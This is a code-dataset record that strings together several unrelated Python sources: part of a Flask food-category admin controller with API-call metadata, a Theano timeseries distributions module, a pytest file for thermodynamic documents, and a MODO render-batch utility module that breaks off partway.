resp['msg'] = "请输入符合规范的分类名称~~"
return jsonify( resp )
food_cat_info = FoodCat.query.filter_by( id = id ).first()
if food_cat_info:
model_food_cat = food_cat_info
else:
model_food_cat = FoodCat()
model_food_cat.created_time = get_current_date()
model_food_cat.name = name
model_food_cat.weight = weight
model_food_cat.updated_time = get_current_date()
db.session.add(model_food_cat)
db.session.commit()
return jsonify( resp )
@route_food.route("/cat-ops",methods = [ "POST" ])
def catOps():
resp = {'code': 200, 'msg': '操作成功~~', 'data': {}}
req = request.values
id = req['id'] if 'id' in req else 0
act = req['act'] if 'act' in req else ''
if not id :
resp['code'] = -1
resp['msg'] = "请选择要操作的账号~~"
return jsonify(resp)
if act not in [ 'remove','recover' ] :
resp['code'] = -1
resp['msg'] = "操作有误,请重试~~"
return jsonify(resp)
food_cat_info = FoodCat.query.filter_by( id= id ).first()
if not food_cat_info:
resp['code'] = -1
resp['msg'] = "指定分类不存在~~"
return jsonify(resp)
if act == "remove":
food_cat_info.status = 0
elif act == "recover":
food_cat_info.status = 1
food_cat_info.update_time = get_current_date()
db.session.add( food_cat_info )
db.session.commit()
return jsonify(resp)
@route_food.route("/ops",methods=["POST"])
def ops():
resp = { 'code':200,'msg':'操作成功~~','data':{} }
req = request.values
id = req['id'] if 'id' in req else 0
act = req['act'] if 'act' in req else ''
if not id :
resp['code'] = -1
resp['msg'] = "请选择要操作的账号~~"
return jsonify(resp)
if act not in [ 'remove','recover' ]:
resp['code'] = -1
resp['msg'] = "操作有误,请重试~~"
return jsonify(resp)
food_info = Food.query.filter_by( id = id ).first()
if not food_info:
resp['code'] = -1
resp['msg'] = "指定美食不存在~~"
return jsonify(resp)
if act == "remove":
food_info.status = 0
elif act == "recover":
food_info.status = 1
food_info.updated_time = get_current_date()
db.session.add(food_info)
db.session.commit()
return jsonify( resp )
| [
"common.libs.UrlManager.UrlManager.build_url",
"common.models.food.Food.Food.id.desc",
"common.models.food.FoodCat.FoodCat",
"common.models.food.Food.Food.query.filter_by",
"common.libs.Helper.get_current_date",
"flask.jsonify",
"common.models.food.FoodCat.FoodCat.id.desc",
"common.models.food.FoodCat... | [((528, 560), 'flask.Blueprint', 'Blueprint', (['"""food_page"""', '__name__'], {}), "('food_page', __name__)\n", (537, 560), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((1407, 1432), 'common.libs.Helper.i_pagination', 'i_pagination', (['page_params'], {}), '(page_params)\n', (1419, 1432), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((1604, 1656), 'common.libs.Helper.get_dict_filter_field', 'get_dict_filter_field', (['FoodCat', 'FoodCat.id', '"""id"""', '[]'], {}), "(FoodCat, FoodCat.id, 'id', [])\n", (1625, 1656), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((1903, 1943), 'common.libs.Helper.ops_render', 'ops_render', (['"""food/index.html"""', 'resp_data'], {}), "('food/index.html', resp_data)\n", (1913, 1943), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((2077, 2112), 'common.libs.UrlManager.UrlManager.build_url', 'UrlManager.build_url', (['"""/food/index"""'], {}), "('/food/index')\n", (2097, 2112), False, 'from common.libs.UrlManager import UrlManager\n'), ((2554, 2593), 'common.libs.Helper.ops_render', 'ops_render', (['"""food/info.html"""', 'resp_data'], {}), "('food/info.html', resp_data)\n", (2564, 2593), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((5269, 5287), 'common.libs.Helper.get_current_date', 'get_current_date', ([], {}), '()\n', (5285, 5287), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((5293, 5319), 'application.db.session.add', 'db.session.add', (['model_food'], {}), '(model_food)\n', (5307, 5319), False, 'from application import app, db\n'), ((5330, 5349), 'application.db.session.commit', 'db.session.commit', ([], {}), '()\n', (5347, 5349), False, 'from application import app, db\n'), ((5451, 5464), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (5458, 5464), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((5948, 5986), 'common.libs.Helper.ops_render', 'ops_render', (['"""food/cat.html"""', 'resp_data'], {}), "('food/cat.html', resp_data)\n", (5958, 5986), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((7134, 7152), 'common.libs.Helper.get_current_date', 'get_current_date', ([], {}), '()\n', (7150, 7152), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((7157, 7187), 'application.db.session.add', 'db.session.add', (['model_food_cat'], {}), '(model_food_cat)\n', (7171, 7187), False, 'from application import app, db\n'), ((7192, 7211), 'application.db.session.commit', 'db.session.commit', ([], {}), '()\n', (7209, 7211), False, 'from application import app, db\n'), ((7223, 7236), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (7230, 7236), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((8069, 8098), 'application.db.session.add', 'db.session.add', (['food_cat_info'], {}), '(food_cat_info)\n', (8083, 8098), False, 'from application import app, db\n'), ((8105, 8124), 'application.db.session.commit', 'db.session.commit', ([], {}), '()\n', (8122, 8124), False, 'from application import app, db\n'), ((8136, 8149), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (8143, 8149), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((8917, 8935), 'common.libs.Helper.get_current_date', 'get_current_date', ([], {}), '()\n', (8933, 8935), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((8940, 8965), 'application.db.session.add', 'db.session.add', (['food_info'], {}), '(food_info)\n', (8954, 8965), False, 'from application import app, db\n'), ((8970, 8989), 'application.db.session.commit', 'db.session.commit', ([], {}), '()\n', (8987, 8989), False, 'from application import app, db\n'), ((9001, 9014), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (9008, 9014), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((2144, 2164), 'flask.redirect', 'redirect', (['reback_url'], {}), '(reback_url)\n', (2152, 2164), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((2250, 2270), 'flask.redirect', 'redirect', (['reback_url'], {}), '(reback_url)\n', (2258, 2270), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((2959, 2978), 'common.models.food.FoodCat.FoodCat.query.all', 'FoodCat.query.all', ([], {}), '()\n', (2976, 2978), False, 'from common.models.food.FoodCat import FoodCat\n'), ((3107, 3145), 'common.libs.Helper.ops_render', 'ops_render', (['"""food/set.html"""', 'resp_data'], {}), "('food/set.html', resp_data)\n", (3117, 3145), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((3764, 3777), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (3771, 3777), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((3895, 3908), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (3902, 3908), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((4028, 4041), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (4035, 4041), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((4079, 4094), 'decimal.Decimal', 'Decimal', (['"""0.00"""'], {}), "('0.00')\n", (4086, 4094), False, 'from decimal import Decimal\n'), ((4196, 4209), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (4203, 4209), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((4335, 4348), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (4342, 4348), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((4480, 4493), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (4487, 4493), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((4592, 4605), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (4599, 4605), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((4723, 4736), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (4730, 4736), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((4933, 4939), 'common.models.food.Food.Food', 'Food', ([], {}), '()\n', (4937, 4939), False, 'from common.models.food.Food import Food\n'), ((5004, 5022), 'common.libs.Helper.get_current_date', 'get_current_date', ([], {}), '()\n', (5020, 5022), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((6361, 6403), 'common.libs.Helper.ops_render', 'ops_render', (['"""food/cat_set.html"""', 'resp_data'], {}), "('food/cat_set.html', resp_data)\n", (6371, 6403), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((6791, 6804), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (6798, 6804), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((6967, 6976), 'common.models.food.FoodCat.FoodCat', 'FoodCat', ([], {}), '()\n', (6974, 6976), False, 'from common.models.food.FoodCat import FoodCat\n'), ((7015, 7033), 'common.libs.Helper.get_current_date', 'get_current_date', ([], {}), '()\n', (7031, 7033), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((7564, 7577), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (7571, 7577), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((7699, 7712), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (7706, 7712), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((7877, 7890), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (7884, 7890), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((8462, 8475), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (8469, 8475), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((8595, 8608), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (8602, 8608), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((8763, 8776), 'flask.jsonify', 'jsonify', (['resp'], {}), '(resp)\n', (8770, 8776), False, 'from flask import Blueprint, request, jsonify, redirect\n'), ((2179, 2206), 'common.models.food.Food.Food.query.filter_by', 'Food.query.filter_by', ([], {'id': 'id'}), '(id=id)\n', (2199, 2206), False, 'from common.models.food.Food import Food\n'), ((4055, 4069), 'decimal.Decimal', 'Decimal', (['price'], {}), '(price)\n', (4062, 4069), False, 'from decimal import Decimal\n'), ((4756, 4783), 'common.models.food.Food.Food.query.filter_by', 'Food.query.filter_by', ([], {'id': 'id'}), '(id=id)\n', (4776, 4783), False, 'from common.models.food.Food import Food\n'), ((6828, 6858), 'common.models.food.FoodCat.FoodCat.query.filter_by', 'FoodCat.query.filter_by', ([], {'id': 'id'}), '(id=id)\n', (6851, 6858), False, 'from common.models.food.FoodCat import FoodCat\n'), ((7734, 7764), 'common.models.food.FoodCat.FoodCat.query.filter_by', 'FoodCat.query.filter_by', ([], {'id': 'id'}), '(id=id)\n', (7757, 7764), False, 'from common.models.food.FoodCat import FoodCat\n'), ((8046, 8064), 'common.libs.Helper.get_current_date', 'get_current_date', ([], {}), '()\n', (8062, 8064), False, 'from common.libs.Helper import ops_render, get_current_date, i_pagination, get_dict_filter_field\n'), ((8626, 8653), 'common.models.food.Food.Food.query.filter_by', 'Food.query.filter_by', ([], {'id': 'id'}), '(id=id)\n', (8646, 8653), False, 'from common.models.food.Food import Food\n'), ((2386, 2414), 'common.models.food.FoodStockChangeLog.FoodStockChangeLog.id.desc', 'FoodStockChangeLog.id.desc', ([], {}), '()\n', (2412, 2414), False, 'from common.models.food.FoodStockChangeLog import FoodStockChangeLog\n'), ((2796, 2823), 'common.models.food.Food.Food.query.filter_by', 'Food.query.filter_by', ([], {'id': 'id'}), '(id=id)\n', (2816, 2823), False, 'from common.models.food.Food import Food\n'), ((2902, 2937), 'common.libs.UrlManager.UrlManager.build_url', 'UrlManager.build_url', (['"""/food/index"""'], {}), "('/food/index')\n", (2922, 2937), False, 'from common.libs.UrlManager import UrlManager\n'), ((5730, 5751), 'common.models.food.FoodCat.FoodCat.weight.desc', 'FoodCat.weight.desc', ([], {}), '()\n', (5749, 5751), False, 'from common.models.food.FoodCat import FoodCat\n'), ((5752, 5769), 'common.models.food.FoodCat.FoodCat.id.desc', 'FoodCat.id.desc', ([], {}), '()\n', (5767, 5769), False, 'from common.models.food.FoodCat import FoodCat\n'), ((2298, 2363), 'common.models.food.FoodStockChangeLog.FoodStockChangeLog.query.filter', 'FoodStockChangeLog.query.filter', (['(FoodStockChangeLog.food_id == id)'], {}), '(FoodStockChangeLog.food_id == id)\n', (2329, 2363), False, 'from common.models.food.FoodStockChangeLog import FoodStockChangeLog\n'), ((6233, 6263), 'common.models.food.FoodCat.FoodCat.query.filter_by', 'FoodCat.query.filter_by', ([], {'id': 'id'}), '(id=id)\n', (6256, 6263), False, 'from common.models.food.FoodCat import FoodCat\n'), ((1512, 1526), 'common.models.food.Food.Food.id.desc', 'Food.id.desc', ([], {}), '()\n', (1524, 1526), False, 'from common.models.food.Food import Food\n')] |
import theano.tensor as tt
from theano import scan
from . import multivariate
from . import continuous
from . import distribution
__all__ = [
'AR1',
'GaussianRandomWalk',
'GARCH11',
'EulerMaruyama',
'MvGaussianRandomWalk',
'MvStudentTRandomWalk'
]
class AR1(distribution.Continuous):
"""
Autoregressive process with 1 lag.
Parameters
----------
k : tensor
effect of lagged value on current value
tau_e : tensor
precision for innovations
"""
def __init__(self, k, tau_e, *args, **kwargs):
super(AR1, self).__init__(*args, **kwargs)
self.k = k
self.tau_e = tau_e
self.tau = tau_e * (1 - k ** 2)
self.mode = 0.
def logp(self, x):
k = self.k
tau_e = self.tau_e
x_im1 = x[:-1]
x_i = x[1:]
boundary = continuous.Normal.dist(0, tau_e).logp
innov_like = continuous.Normal.dist(k * x_im1, tau_e).logp(x_i)
return boundary(x[0]) + tt.sum(innov_like) + boundary(x[-1])
class GaussianRandomWalk(distribution.Continuous):
"""
Random Walk with Normal innovations
Parameters
----------
tau : tensor
tau > 0, innovation precision
sd : tensor
sd > 0, innovation standard deviation (alternative to specifying tau)
mu: tensor
innovation drift, defaults to 0.0
init : distribution
distribution for initial value (Defaults to Flat())
"""
def __init__(self, tau=None, init=continuous.Flat.dist(), sd=None, mu=0.,
*args, **kwargs):
super(GaussianRandomWalk, self).__init__(*args, **kwargs)
self.tau = tau
self.sd = sd
self.mu = mu
self.init = init
self.mean = 0.
def logp(self, x):
tau = self.tau
sd = self.sd
mu = self.mu
init = self.init
x_im1 = x[:-1]
x_i = x[1:]
innov_like = continuous.Normal.dist(mu=x_im1 + mu, tau=tau, sd=sd).logp(x_i)
return init.logp(x[0]) + tt.sum(innov_like)
class GARCH11(distribution.Continuous):
"""
GARCH(1,1) with Normal innovations. The model is specified by
y_t = sigma_t * z_t
sigma_t^2 = omega + alpha_1 * y_{t-1}^2 + beta_1 * sigma_{t-1}^2
with z_t iid and Normal with mean zero and unit standard deviation.
Parameters
----------
omega : distribution
omega > 0, distribution for mean variance
alpha_1 : distribution
alpha_1 >= 0, distribution for autoregressive term
beta_1 : distribution
beta_1 >= 0, alpha_1 + beta_1 < 1, distribution for moving
average term
initial_vol : distribution
initial_vol >= 0, distribution for initial volatility, sigma_0
"""
def __init__(self, omega=None, alpha_1=None, beta_1=None,
initial_vol=None, *args, **kwargs):
super(GARCH11, self).__init__(*args, **kwargs)
self.omega = omega
self.alpha_1 = alpha_1
self.beta_1 = beta_1
self.initial_vol = initial_vol
self.mean = 0
def get_volatility(self, x):
x = x[:-1]
def volatility_update(x, vol, w, a, b):
return tt.sqrt(w + a * tt.square(x) + b * tt.square(vol))
vol, _ = scan(fn=volatility_update,
sequences=[x],
outputs_info=[self.initial_vol],
non_sequences=[self.omega, self.alpha_1,
self.beta_1])
return tt.concatenate(self.initial_vol, vol)
def logp(self, x):
vol = self.get_volatility(x)
return tt.sum(continuous.Normal.dist(0, sd=vol).logp(x))
class EulerMaruyama(distribution.Continuous):
"""
Stochastic differential equation discretized with the Euler-Maruyama method.
Parameters
----------
dt : float
time step of discretization
sde_fn : callable
function returning the drift and diffusion coefficients of SDE
sde_pars : tuple
parameters of the SDE, passed as *args to sde_fn
"""
def __init__(self, dt, sde_fn, sde_pars, *args, **kwds):
super(EulerMaruyama, self).__init__(*args, **kwds)
self.dt = dt
self.sde_fn = sde_fn
self.sde_pars = sde_pars
def logp(self, x):
xt = x[:-1]
f, g = self.sde_fn(x[:-1], *self.sde_pars)
mu = xt + self.dt * f
sd = tt.sqrt(self.dt) * g
return tt.sum(continuous.Normal.dist(mu=mu, sd=sd).logp(x[1:]))
class MvGaussianRandomWalk(distribution.Continuous):
"""
Multivariate Random Walk with Normal innovations
Parameters
----------
mu : tensor
innovation drift, defaults to 0.0
cov : tensor
pos def matrix, innovation covariance matrix
tau : tensor
pos def matrix, innovation precision (alternative to specifying cov)
init : distribution
distribution for initial value (Defaults to Flat())
"""
def __init__(self, mu=0., cov=None, tau=None, init=continuous.Flat.dist(),
*args, **kwargs):
super(MvGaussianRandomWalk, self).__init__(*args, **kwargs)
tau, cov = multivariate.get_tau_cov(mu, tau=tau, cov=cov)
self.tau = tau
self.cov = cov
self.mu = mu
self.init = init
self.mean = 0.
def logp(self, x):
tau = self.tau
mu = self.mu
init = self.init
x_im1 = x[:-1]
x_i = x[1:]
innov_like = multivariate.MvNormal.dist(mu=x_im1 + mu, tau=tau).logp(x_i)
return init.logp(x[0]) + tt.sum(innov_like)
class MvStudentTRandomWalk(distribution.Continuous):
"""
Multivariate Random Walk with StudentT innovations
Parameters
----------
nu : degrees of freedom
mu : tensor
innovation drift, defaults to 0.0
cov : tensor
pos def matrix, innovation covariance matrix
tau : tensor
pos def matrix, innovation precision (alternative to specifying cov)
init : distribution
distribution for initial value (Defaults to Flat())
"""
def __init__(self, nu, mu=0., cov=None, tau=None, init=continuous.Flat.dist(),
*args, **kwargs):
super(MvStudentTRandomWalk, self).__init__(*args, **kwargs)
tau, cov = multivariate.get_tau_cov(mu, tau=tau, cov=cov)
self.tau = tau
self.cov = cov
self.mu = mu
self.nu = nu
self.init = init
self.mean = 0.
def logp(self, x):
cov = self.cov
mu = self.mu
nu = self.nu
init = self.init
x_im1 = x[:-1]
x_i = x[1:]
innov_like = multivariate.MvStudentT.dist(nu, cov, mu=x_im1 + mu).logp(x_i)
return init.logp(x[0]) + tt.sum(innov_like)
| [
"theano.tensor.sqrt",
"theano.tensor.sum",
"theano.scan",
"theano.tensor.square",
"theano.tensor.concatenate"
] | [((3265, 3398), 'theano.scan', 'scan', ([], {'fn': 'volatility_update', 'sequences': '[x]', 'outputs_info': '[self.initial_vol]', 'non_sequences': '[self.omega, self.alpha_1, self.beta_1]'}), '(fn=volatility_update, sequences=[x], outputs_info=[self.initial_vol],\n non_sequences=[self.omega, self.alpha_1, self.beta_1])\n', (3269, 3398), False, 'from theano import scan\n'), ((3513, 3550), 'theano.tensor.concatenate', 'tt.concatenate', (['self.initial_vol', 'vol'], {}), '(self.initial_vol, vol)\n', (3527, 3550), True, 'import theano.tensor as tt\n'), ((2037, 2055), 'theano.tensor.sum', 'tt.sum', (['innov_like'], {}), '(innov_like)\n', (2043, 2055), True, 'import theano.tensor as tt\n'), ((4416, 4432), 'theano.tensor.sqrt', 'tt.sqrt', (['self.dt'], {}), '(self.dt)\n', (4423, 4432), True, 'import theano.tensor as tt\n'), ((5586, 5604), 'theano.tensor.sum', 'tt.sum', (['innov_like'], {}), '(innov_like)\n', (5592, 5604), True, 'import theano.tensor as tt\n'), ((6759, 6777), 'theano.tensor.sum', 'tt.sum', (['innov_like'], {}), '(innov_like)\n', (6765, 6777), True, 'import theano.tensor as tt\n'), ((1000, 1018), 'theano.tensor.sum', 'tt.sum', (['innov_like'], {}), '(innov_like)\n', (1006, 1018), True, 'import theano.tensor as tt\n'), ((3231, 3245), 'theano.tensor.square', 'tt.square', (['vol'], {}), '(vol)\n', (3240, 3245), True, 'import theano.tensor as tt\n'), ((3212, 3224), 'theano.tensor.square', 'tt.square', (['x'], {}), '(x)\n', (3221, 3224), True, 'import theano.tensor as tt\n')] |
import pytest
from monty.serialization import MontyDecoder
from monty.serialization import loadfn
from emmet.core.thermo import ThermoDoc
@pytest.fixture(scope="session")
def Fe3O4_structure(test_dir):
structure = loadfn(test_dir / "thermo/Fe3O4_structure.json")
return structure
@pytest.fixture(scope="session")
def Fe2O3a_structure(test_dir):
structure = loadfn(test_dir / "thermo/Fe2O3a_structure.json")
return structure
@pytest.fixture(scope="session")
def Fe2O3b_structure(test_dir):
structure = loadfn(test_dir / "thermo/Fe2O3b_structure.json")
return structure
@pytest.fixture(scope="session")
def Fe_structure(test_dir):
structure = loadfn(test_dir / "thermo/Fe_structure.json")
return structure
@pytest.fixture(scope="session")
def O_structure(test_dir):
structure = loadfn(test_dir / "thermo/O_structure.json")
return structure
@pytest.fixture
def entries(
Fe3O4_structure, Fe2O3a_structure, Fe2O3b_structure, Fe_structure, O_structure
):
return MontyDecoder().process_decoded(
[
{
"@module": "pymatgen.entries.computed_entries",
"@class": "ComputedStructureEntry",
"correction": 0.0,
"structure": Fe3O4_structure.as_dict(),
"entry_id": "mp-1",
"energy": -382.146593528,
"composition": {"Fe": 24.0, "O": 32.0},
"name": "Fe3O4",
"attribute": None,
"@version": "2020.4.29",
},
{
"@module": "pymatgen.entries.computed_entries",
"@class": "ComputedStructureEntry",
"correction": 0.0,
"structure": Fe2O3a_structure.as_dict(),
"entry_id": "mp-2",
"energy": -270.38765404,
"composition": {"Fe": 16.0, "O": 24.0},
"name": "Fe2O3",
"attribute": None,
"@version": "2020.4.29",
},
{
"@module": "pymatgen.entries.computed_entries",
"@class": "ComputedStructureEntry",
"correction": 0.0,
"structure": O_structure.as_dict(),
"entry_id": "mp-3",
"energy": -92.274692568,
"composition": {"O": 24.0},
"name": "O",
"attribute": None,
"@version": "2020.4.29",
},
{
"@module": "pymatgen.entries.computed_entries",
"@class": "ComputedStructureEntry",
"correction": 0.0,
"structure": Fe_structure.as_dict(),
"entry_id": "mp-4",
"energy": -13.00419661,
"composition": {"Fe": 2.0},
"name": "Fe",
"attribute": None,
"@version": "2020.4.29",
},
{
"@module": "pymatgen.entries.computed_entries",
"@class": "ComputedStructureEntry",
"correction": 0.0,
"structure": Fe2O3b_structure.as_dict(),
"entry_id": "mp-5",
"energy": -1080.82678592,
"composition": {"Fe": 64.0, "O": 96.0},
"name": "Fe2O3",
"attribute": None,
"@version": "2020.4.29",
},
]
)
def test_from_entries(entries):
docs, pd = ThermoDoc.from_entries(entries, deprecated=False)
assert len(docs) == len(entries)
assert all([d.energy_type == "Unknown" for d in docs])
unstable_doc = next(d for d in docs if d.material_id == "mp-5")
assert unstable_doc.is_stable is False
assert all([d.is_stable for d in docs if d != unstable_doc])
| [
"pytest.fixture",
"emmet.core.thermo.ThermoDoc.from_entries",
"monty.serialization.MontyDecoder",
"monty.serialization.loadfn"
] | [((141, 172), 'pytest.fixture', 'pytest.fixture', ([], {'scope': '"""session"""'}), "(scope='session')\n", (155, 172), False, 'import pytest\n'), ((293, 324), 'pytest.fixture', 'pytest.fixture', ([], {'scope': '"""session"""'}), "(scope='session')\n", (307, 324), False, 'import pytest\n'), ((447, 478), 'pytest.fixture', 'pytest.fixture', ([], {'scope': '"""session"""'}), "(scope='session')\n", (461, 478), False, 'import pytest\n'), ((601, 632), 'pytest.fixture', 'pytest.fixture', ([], {'scope': '"""session"""'}), "(scope='session')\n", (615, 632), False, 'import pytest\n'), ((747, 778), 'pytest.fixture', 'pytest.fixture', ([], {'scope': '"""session"""'}), "(scope='session')\n", (761, 778), False, 'import pytest\n'), ((220, 268), 'monty.serialization.loadfn', 'loadfn', (["(test_dir / 'thermo/Fe3O4_structure.json')"], {}), "(test_dir / 'thermo/Fe3O4_structure.json')\n", (226, 268), False, 'from monty.serialization import loadfn\n'), ((373, 422), 'monty.serialization.loadfn', 'loadfn', (["(test_dir / 'thermo/Fe2O3a_structure.json')"], {}), "(test_dir / 'thermo/Fe2O3a_structure.json')\n", (379, 422), False, 'from monty.serialization import loadfn\n'), ((527, 576), 'monty.serialization.loadfn', 'loadfn', (["(test_dir / 'thermo/Fe2O3b_structure.json')"], {}), "(test_dir / 'thermo/Fe2O3b_structure.json')\n", (533, 576), False, 'from monty.serialization import loadfn\n'), ((677, 722), 'monty.serialization.loadfn', 'loadfn', (["(test_dir / 'thermo/Fe_structure.json')"], {}), "(test_dir / 'thermo/Fe_structure.json')\n", (683, 722), False, 'from monty.serialization import loadfn\n'), ((822, 866), 'monty.serialization.loadfn', 'loadfn', (["(test_dir / 'thermo/O_structure.json')"], {}), "(test_dir / 'thermo/O_structure.json')\n", (828, 866), False, 'from monty.serialization import loadfn\n'), ((3478, 3527), 'emmet.core.thermo.ThermoDoc.from_entries', 'ThermoDoc.from_entries', (['entries'], {'deprecated': '(False)'}), '(entries, deprecated=False)\n', (3500, 3527), False, 'from emmet.core.thermo import ThermoDoc\n'), ((1016, 1030), 'monty.serialization.MontyDecoder', 'MontyDecoder', ([], {}), '()\n', (1028, 1030), False, 'from monty.serialization import MontyDecoder\n')] |
# python
import json
import os
import random
import re
import traceback
import modo
from . import util
import yaml
from .defaults import get
from .symbols import *
def yaml_save_dialog():
"""
By <NAME> for Mechanical Color
File dialog requesting YAML file destination.
"""
try:
return os.path.normpath(
modo.dialogs.customFile(
dtype='fileSave',
title='Save Batch File',
names=['yaml'],
unames=['Batch File (YAML)'],
patterns=['*.yaml'],
ext=['yaml']
)
)
except:
return False
def lxo_open_dialog():
"""
By <NAME> for Mechanical Color
File dialog requesting LXO file source.
"""
try:
paths_list = modo.dialogs.customFile(
dtype='fileOpenMulti',
title='Select Scene File',
names=('lxo',),
unames=('MODO Scene file',),
patterns=('*.lxo',),
)
return [os.path.normpath(i) for i in paths_list]
except:
return False
def image_save_dialg():
savers = util.get_imagesavers()
return modo.dialogs.customFile(
'fileSave',
'Image Destination',
[i[0] for i in savers],
[i[1] for i in savers],
ext=[i[2] for i in savers],
)
def yaml_open_dialog():
"""
By <NAME> for Mechanical Color
File dialog requesting YAML file source.
"""
try:
return os.path.normpath(
modo.dialogs.customFile(
dtype='fileOpen',
title='Select Batch File',
names=('yaml',),
unames=('renderMonkey Batch File',),
patterns=('*.yaml',),
path=None
)
)
except:
return False
def read_json(file_path):
"""
By <NAME> for Mechanical Color
Returns a Python object (list or dict, as appropriate) from a given JSON file path.
"""
try:
json_file = open(file_path, 'r')
except:
util.debug(traceback.format_exc())
return False
try:
json_object = json.loads(json_file.read())
except:
util.debug(traceback.format_exc())
json_file.close()
return False
json_file.close()
return json_object
def read_yaml(file_path):
"""
By <NAME> for Mechanical Color
Returns a Python object (list or dict, as appropriate) from a given YAML file path.
We use YAML because it's easier and more human readable than JSON. It's harder to mess up,
easier to learn, and--imagine!--it supports commenting.
Note: YAML does not support hard tabs (\t), so this script replaces those with four spaces (' ').
"""
yaml_file = open(file_path, 'r')
yaml_data = yaml.safe_load(re.sub('\\t', ' ', yaml_file.read()))
yaml_file.close()
return yaml_data
def test_writeable(test_dir_path):
"""
By <NAME> for Mechanical Color
Easier to ask forgiveness than permission.
If the test path doesn't exist, tries to create it. If it can't, returns False.
Then writes to a file in the target directory. If it can't, returns False.
If all is well, returns True.
"""
if not os.path.exists(test_dir_path):
try:
os.mkdir(test_dir_path)
except OSError:
return False
test_path = os.path.join(test_dir_path, "tmp_%s.txt" % random.randint(100000, 999999))
try:
test = open(test_path, 'w')
test.write("Testing write permissions.")
test.close()
os.remove(test_path)
return True
except:
return False
def yamlize(data):
return yaml.dump(data, indent=4, width=999, default_flow_style=False).replace("\n-", "\n\n-")
def write_yaml(data, output_path):
if not test_writeable(os.path.dirname(output_path)):
return False
target = open(output_path, 'w')
target.write("\n\n".join((yamlize(data), generate_readme())))
target.close()
def generate_readme():
readme = open(util.path_alias(':'.join((KIT_ALIAS, 'monkey/batch_file_docs.txt'))), 'r')
readme = readme.read()
substitutions = {
'scene_path': SCENE_PATH,
'format': FORMAT,
'format_default': get(FORMAT),
'frames': FRAMES,
'frames_default': get(FRAMES),
'destination': DESTINATION,
'destination_default': get(DESTINATION),
'output_pattern': PATTERN,
'groups': GROUPS,
'camera': CAMERA,
'render_channels': RENDER_CHANNELS,
'outputs': OUTPUTS,
'width': WIDTH,
'height': HEIGHT,
'commands': COMMANDS,
'frame_commands': FRAME_COMMANDS,
'render_override': RENDER_OVERRIDE
}
substitutions['format_examples'] = "#" + "\n#".join(
[" %s: %s (*.%s)" % (i[0], i[1], i[2]) for i in util.get_imagesavers()]) + "\n\n"
substitutions[
'frames_examples'] = "# '*' Start/end frames defined in scene file.\n"
rr = ['1', '1-5', '5-1', '0-10:2', '1-21:5', '1-3,10-16:2,20-23', '1,1-5', '(1 - 5),, 10-!@#15']
substitutions['frames_examples'] += "#" + "\n#".join(
[" '%s'%s%s" % (i, " " * (24 - len(i)), str(util.frames_from_string(i))) for i in
rr]) + "\n\n"
indent = 32
rr = [
['*', 'Render output filenames defined in scene file.'],
['frames' + os.sep,
os.path.normpath(os.sep + os.path.join('path', 'to', 'scene', 'file', 'frames'))],
['.frames' + os.sep,
os.path.normpath(os.sep + os.path.join('path', 'to', 'scene', 'file', 'frames'))],
[os.sep + os.path.join('path', 'with', 'filename.xyz'),
os.path.normpath(os.sep + os.path.join('path', 'with', 'filename.jpg'))]
]
substitutions['destination_examples'] = "#" + "\n#".join(
[" %s%s%s" % (i[0], " " * (indent - len(i[0])), i[1]) for i in rr]) + "\n"
rr = [
os.sep + os.path.join('already', 'perfectly', 'good', 'path') + os.sep,
